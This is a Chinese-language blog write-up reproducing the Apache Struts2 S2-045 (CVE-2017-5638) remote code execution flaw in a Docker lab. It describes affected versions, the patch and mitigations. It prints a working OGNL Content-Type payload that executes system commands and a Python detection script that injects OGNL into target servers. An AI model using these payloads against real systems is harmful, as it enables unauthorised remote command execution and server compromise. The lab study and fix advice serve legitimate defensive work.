最近也是在看Struts2的漏洞,這里與大家共同探討一下,本次我復現的是s2-045這個編號的漏洞
漏洞介紹
Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-045,CVE編號CVE-2017-5638,在使用基於Jakarta插件的文件上傳功能時,有可能存在遠程命令執行,導致系統被黑客入侵。
惡意用戶可在上傳文件時通過修改HTTP請求頭中的Content-Type值來觸發該漏洞,進而執行系統命令。
Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
Struts2框架存在多個遠程代碼執行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),惡意攻擊者可利用漏洞直接獲取應用系統的Webshell,甚至獲取操作系統以及數據庫的權限。
漏洞編號:S2-045
CVE編號:CVE-2017-5638
漏洞類型:遠程代碼執行
漏洞級別:高危
漏洞風險:黑客通過利用漏洞可以實現遠程命令執行。
影響版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10
環境准備
1.docker環境及vulhub靶場(沒有安裝的可以參考我之前的博客)
2.Burp Suite抓包工具
漏洞POC
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
漏洞關鍵點
1.基於Jakarta(Jakarta Multipart parser)插件的文件上傳功能
2.惡意攻擊者精心構造Content-Type的值
通過版本比對定位漏洞原因:
1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java
三個文件修改內容相同,加固方式對用戶報錯加了條件判斷。
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) { return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() }); } else { return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args); }
漏洞利用
用docker搭建好環境后,訪問,是這個界面
隨便選擇個文件,上傳,用burp抓包
然后Repeater,只需要更改Content-Type的值,就可實現遠程代碼執行
附上一個檢測POC
#!/usr/bin/env python #coding:utf8 #code by fuck@0day5.com import sys import requests requests.packages.urllib3.disable_warnings() def poccheck(url): result = False header = { 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36', 'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}" } try: response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False) if response.content.find("88866777")!=-1: result = url+" find struts2-45" except Exception as e: print str(e) pass return result if __name__ == '__main__': if len(sys.argv) == 2: print poccheck(sys.argv[1]) sys.exit(0) else: print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0]) sys.exit(-1)
漏洞修復建議(或緩解措施):
檢測方式查看web目錄下/WEB-INF/lib/目錄下的struts-core.x.x.jar ,如果這個版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之間則存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防護設備進行防護。
臨時解決方案:刪除commons-fileupload-x.x.x.jar文件(會造成上傳功能不可用)。